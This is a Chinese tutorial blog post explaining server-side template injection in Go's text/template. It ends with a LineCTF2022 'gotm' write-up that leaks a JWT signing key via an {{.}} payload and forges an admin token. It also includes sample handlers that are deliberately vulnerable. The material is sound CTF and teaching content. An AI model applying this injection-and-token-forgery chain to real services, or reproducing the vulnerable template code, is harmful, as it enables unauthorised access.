[Go语言]SSTI从0到1

[Go语言]SSTI从0到1

  • 1.Go-web基础及示例
  • 2.参数处理
  • 3.模版引擎
    • 3.1 text/template
    • 3.2 SSTI
  • 4.[LineCTF2022]gotm
    • 1.题目源码
    • 2.WP

1.Go-web基础及示例

package main
import ("fmt""net/http"
)
func sayHello(w http.ResponseWriter, r *http.Request) { // 定义一个fmt.Fprintln(w, "hello world!")
}
func main() {http.HandleFunc("/hello", sayHello)  //浏览器访问/hello,将会转到sayHello去处理http.ListenAndServe(":8888", nil) // 监听端口并处理请求
}

其中 “net/http” 是Go自带的实现web服务的模块,可以处理http请求,其中http.HandleFunc是用来绑定路由函数,相当于python的flask的app.route函数

然后就是路由函数sayHello了,这个函数接受两个参数,其中 w 是web接口参数,该变量可发送到前端web页面,r 是http报文参数,用于存放http请求的UA头,表单数据等信息

然后 fmt.Fprintln 函数是用于输出在器(io.Writer)中例如web接口

这里输出 “hello world”,如图所示

在这里插入图片描述

2.参数处理

我们将sayHello函数改动如下func sayHello(w http.ResponseWriter, r *http.Request) {var name = r.FormValue("name")var para = ("hello," + name + "!")fmt.Fprintln(w, para)
}

r.FormValue为接收表单数据的数组,包括GET与POST

处理表单请求的方法如下

1.直接获得

PostFormValue或FormValue方法前者只能解析Post请求

2.ParseForm()方法间接获得

r.ParseForm()  解析请求的主体,化为键值对组合

键值对会被存储在 r.Form 和 r.PostForm 字段中

  • r.Form 是一个 url.Values 类型,它表示 URL 查询参数和 POST 表单字段的集合。可以通过 r.Form.Get(key)、r.Form[key] 或 r.FormValue(key) 方法来获取表单字段的值。
  • r.PostForm 是一个 url.Values 类型,它只包含 POST 表单字段的数据。与 r.Form 不同的是,r.PostForm 不会自动解析 URL 查询参数或其他非 POST 提交的数据。

示例如下:

3.模版引擎

GO语言提供了两个模板包,一个是 html/template 模块,另一个是 text/template 模块,其中text/template模板引擎与Go语言的SSTI有关

3.1 text/template

示例:

package mainimport ("fmt""net/http""strings""text/template"
)type User struct {Id     intName   stringPasswd string
}func StringTplExam(w http.ResponseWriter, r *http.Request) {user := &User{1, "admin", "123456"}r.ParseForm()arg := strings.Join(r.PostForm["name"], "")tpl1 := fmt.Sprintf(`<h1>Hi, ` + arg + `</h1> Your name is ` + arg + `!`)html, err := template.New("login").Parse(tpl1)html = template.Must(html, err)html.Execute(w, user)
}func main() {server := http.Server{Addr: "127.0.0.1:8080",}http.HandleFunc("/login", StringTplExam)server.ListenAndServe()
}

首先讲解一下这段代码,它使用了 “text/template” 模板引擎,该模板引擎并没有对传入的数据进行html编码,可导致SSTi,然后定义了一个User结构体,用于给模版传参

type User struct {Id     intName   stringPasswd string
}

然后通过fmt.Sprintf函数将传入的name参数拼接到模版当中,再通过以下语句,利用template.New(“login”)创建了一个名为 login 的模板,然后使用 Parse(tpl1) 方法,被作为模版的字符串存储到login模板中

 html, err := template.New("login").Parse(tpl1)

其中html就代表刚才创建的login模板,然后err代表创建模板过程中的报错信息(一般不会有),然后通过以下语句判断模板是否创建成功,若创建成功则继续运行,失败则退出程序并报错

html = template.Must(html, err)

最后通过 Execute 方法进行模版翻译,将user结构体中的值翻译到html的模板中,然后输出到w接口,也就是web前端

html.Execute(w, user)

3.2 SSTI

我们以上面的web源码为例

首先访问 login 路由,然后POST传入一个参数,可以看到回显正常
在这里插入图片描述

我们再传入 name={{.Name}},其中双重大括号为该模板引擎的占位符,可以被翻译,我们使用 {{.参数名}} 的格式,可以访问构建模版时所传入的参数

type User struct {Id     intName   stringPasswd string
}user := &User{1, "admin", "123456"}

如图所示
在这里插入图片描述

4.[LineCTF2022]gotm

1.题目源码

main.go

package mainimport ("encoding/json""fmt""log""net/http""os""text/template""github.com/golang-jwt/jwt"
)type Account struct {id         stringpw         stringis_admin   boolsecret_key string
}type AccountClaims struct {Id       string `json:"id"`Is_admin bool   `json:"is_admin"`jwt.StandardClaims
}type Resp struct {Status bool   `json:"status"`Msg    string `json:"msg"`
}type TokenResp struct {Status bool   `json:"status"`Token  string `json:"token"`
}var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")func clear_account() {acc = acc[:1]
}func get_account(uid string) Account {for i := range acc {if acc[i].id == uid {return acc[i]}}return Account{}
}func jwt_encode(id string, is_admin bool) (string, error) {claims := AccountClaims{id, is_admin, jwt.StandardClaims{},}token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)return token.SignedString([]byte(secret_key))
}func jwt_decode(s string) (string, bool) {token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {return []byte(secret_key), nil})if err != nil {fmt.Println(err)return "", false}if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {return claims.Id, claims.Is_admin}return "", false
}func auth_handler(w http.ResponseWriter, r *http.Request) {uid := r.FormValue("id")upw := r.FormValue("pw")if uid == "" || upw == "" {return}if len(acc) > 1024 {clear_account()}user_acc := get_account(uid)if user_acc.id != "" && user_acc.pw == upw {token, err := jwt_encode(user_acc.id, user_acc.is_admin)if err != nil {return}p := TokenResp{true, token}res, err := json.Marshal(p)if err != nil {}w.Write(res)return}w.WriteHeader(http.StatusForbidden)return
}
func regist_handler(w http.ResponseWriter, r *http.Request) {uid := r.FormValue("id")upw := r.FormValue("pw")if uid == "" || upw == "" {return}if get_account(uid).id != "" {w.WriteHeader(http.StatusForbidden)return}if len(acc) > 4 {clear_account()}new_acc := Account{uid, upw, false, secret_key}acc = append(acc, new_acc)p := Resp{true, ""}res, err := json.Marshal(p)if err != nil {}w.Write(res)return
}
func flag_handler(w http.ResponseWriter, r *http.Request) {token := r.Header.Get("X-Token")if token != "" {id, is_admin := jwt_decode(token)if is_admin == true {p := Resp{true, "Hi " + id + ", flag is " + flag}res, err := json.Marshal(p)if err != nil {}w.Write(res)return} else {w.WriteHeader(http.StatusForbidden)return}}
}
func root_handler(w http.ResponseWriter, r *http.Request) {token := r.Header.Get("X-Token")if token != "" {id, _ := jwt_decode(token)acc := get_account(id)tpl, err := template.New("").Parse("Logged in as " + acc.id)if err != nil {}tpl.Execute(w, &acc)} else {return}
}
func main() {admin := Account{admin_id, admin_pw, true, secret_key}acc = append(acc, admin)http.HandleFunc("/", root_handler)http.HandleFunc("/auth", auth_handler)http.HandleFunc("/flag", flag_handler)http.HandleFunc("/regist", regist_handler)log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}

2.WP

审计代码可得该web网站共有以下路由

  http.HandleFunc("/", root_handler) //模板http.HandleFunc("/auth", auth_handler)  //登陆http.HandleFunc("/flag", flag_handler)http.HandleFunc("/regist", regist_handler)  //注册

先分析下flag路由

id, is_admin := jwt_decode(token)if is_admin == true {p := Resp{true, "Hi " + id + ", flag is " + flag}res, err := json.Marshal(p)if err != nil {}

发现需要进行jwt伪造,让 is_admin 的值为ture

访问regist路由注册账号,形成原始jwt

在这里插入图片描述

访问auth路由,登陆刚才注册的账号,得到一段jwt加密的字符串

在这里插入图片描述

对其解密得,is_admin的值默认为false

在这里插入图片描述

由此可得我们只需添加 X-Token 的请求头即可,内容为修改后的jwt字符串,接下来我们需要通过根路由进行SSTI,得到jwt加密的密钥,然后进行伪造

token := r.Header.Get("X-Token")

分析根路由可得,注入点在jwt加密数据的id部分

if token != "" {id, _ := jwt_decode(token)acc := get_account(id)tpl, err := template.New("").Parse("Logged in as " + acc.id)if err != nil {}tpl.Execute(w, &acc)} 

我们再次访问regist路由,发送以下payload,来获得acc结构体的所有信息

regist?id={{.}}&pw=123
//不能使用{{.secret_key}}注入得到key字段,因为root_handler函数中得到的acc是数组中的地址,也就是get_account函数通过在全局变量acc数组中查找我们的用户,这种情况下直接注入{{.secret_key}}会返回空

访问author路由,得到SSTI的密文如下

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss

再次访问根路由,并添加 X-Token 请求头,值为刚才的jwt密文,得到jwt加密密钥(this_is_f4Ke_key)

在这里插入图片描述

回到 jwt.io网站,将is_admin的值设为true,并加密

在这里插入图片描述

得到密文

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo

访问flag路由添加X-Token请求头

在这里插入图片描述

成功得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/174594.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

浅谈JavaScript闭包,小白的JS学习之路!

前言 在JavaScript中&#xff0c;闭包是一种强大而灵活的特性&#xff0c;它不仅允许变量私有化&#xff0c;而且提供了一种在函数执行完毕后仍然保持对外部作用域变量引用的机制。本文将深入讨论JavaScript闭包的概念、优点、缺点以及如何避免潜在的内存泄漏问题。 调用栈与…

linux基础知识

一、Linux权限详解 Linux的文件权限有以下设定&#xff1a; Linux下文件的权限类型一般包括读&#xff0c;写&#xff0c;执行。对应字母为 r、w、x。 Linux下权限的属组有 拥有者 、群组 、其它组 三种。每个文件都可以针对这三个属组&#xff08;粒度&#xff09;&#x…

【Unity】 场景优化策略

Unity 场景优化策略 GPU instancing 使用GPU Instancing可以将多个网格相同、材质相同、材质属性可以不同的物体合并为一个批次&#xff0c;从而减少Draw Calls的次数。这可以提高性能和渲染效率。 GPU instancing可用于绘制在场景中多次出现的几何体&#xff0c;例如树木或…

深度强化学习论文中的阴影折线图——总结和分析

前言 作为目前人工智能算法的一个重要领域&#xff0c;强化学习算法的表现非常出色&#xff0c;然而&#xff0c;强化学习算法的结果是出了名的不稳定&#xff1a;超参数的搜索空间往往非常大&#xff0c;算法对不同超参数都较为敏感&#xff0c;且哪怕仅仅只有随机数种子的不…

NSSCTF web刷题记录5

文章目录 [HZNUCTF 2023 preliminary]ezlogin[MoeCTF 2021]地狱通讯[NSSRound#7 Team]0o0[ISITDTU 2019]EasyPHP[极客大挑战 2020]greatphp[安洵杯 2020]Validator[GKCTF 2020]ez三剑客-ezweb[安洵杯 2019]easy_serialize_php [HZNUCTF 2023 preliminary]ezlogin 考点&#xff…

ppt中的字体,如何批量替换?

想要将PPT中的文字全部更换&#xff0c;有什么方便的方法吗&#xff1f;今天分享两个方法&#xff0c;一键修改ppt文件字体。 方法一&#xff1a; 找到功能栏中的编辑选项卡&#xff0c;点击替换 – 替换字体&#xff0c;在里面选择我们想要替换的字体就可以了。 方法二&…

css3 初步了解

1、css3的含义及简介 简而言之&#xff0c;css3 就是 css的最新标准&#xff0c;使用css3都要遵循这个标准&#xff0c;CSS3 已完全向后兼容&#xff0c;所以你就不必改变现有的设计&#xff0c; 2、一些比较重要的css3 模块 选择器 1、标签选择器&#xff0c;也称为元素选择…

Linux 使用随记

Linux 使用随记 shell 命令行模式登录后所取得的程序被成为shell&#xff0c;这是因为这个程序负责最外层的跟用户&#xff08;我们&#xff09;通信工作&#xff0c;所以才被戏称为shell。 命令 1、命令格式 command [-options] parameter1 parameter2 … 1、一行命令中第…

信息安全工程师软考知识点

文章目录 知识点总结2023软考总结选择题问答题 知识点总结 军用不对外公开的信息系统安全等级至少应该>三级 数据中心的耐火等级不应低于二级 政府网站的信息安全等级原则上不应低于二级第一代交换机以集线器为代表&#xff0c;工作在OSI物理层 第二代交换机以太网交换机&a…

【MySQL】事务(中)

文章目录 事务异常与产出结论手动提交 和自动提交 对 回滚的区别 事务隔离性理论如何理解隔离性&#xff1f;MySQL的隔离级别事务隔离级别的查看设置隔离级别 事务异常与产出结论 在没有启动事务之前&#xff0c;account表中存在孙权和刘备的数据 在启动事务后&#xff0c; 向 …

问界「力压」比亚迪,到底什么是RAEB?

作者 | Amy 编辑 | 德新 本周&#xff0c;一辆AITO问界M5智驾版「骑」上比亚迪海豚的视频引发热议。从视频推测&#xff0c;应该是M5在倒车过程中&#xff0c;猛地加速&#xff0c;一下冲到海豚车顶了。 这样富有戏剧性的视频&#xff0c;很快引爆了各大车友群。 不过在吃瓜…

解决 vue3 element 表格和图片预览样式有冲突

查看表格中的预览出现样式问题冲突 <el-image:src"${realSrc}"fit"cover":style"width:${realWidth};height:${realHeight};":preview-src-list"realSrcList":append-to-body"true"><template #error><div c…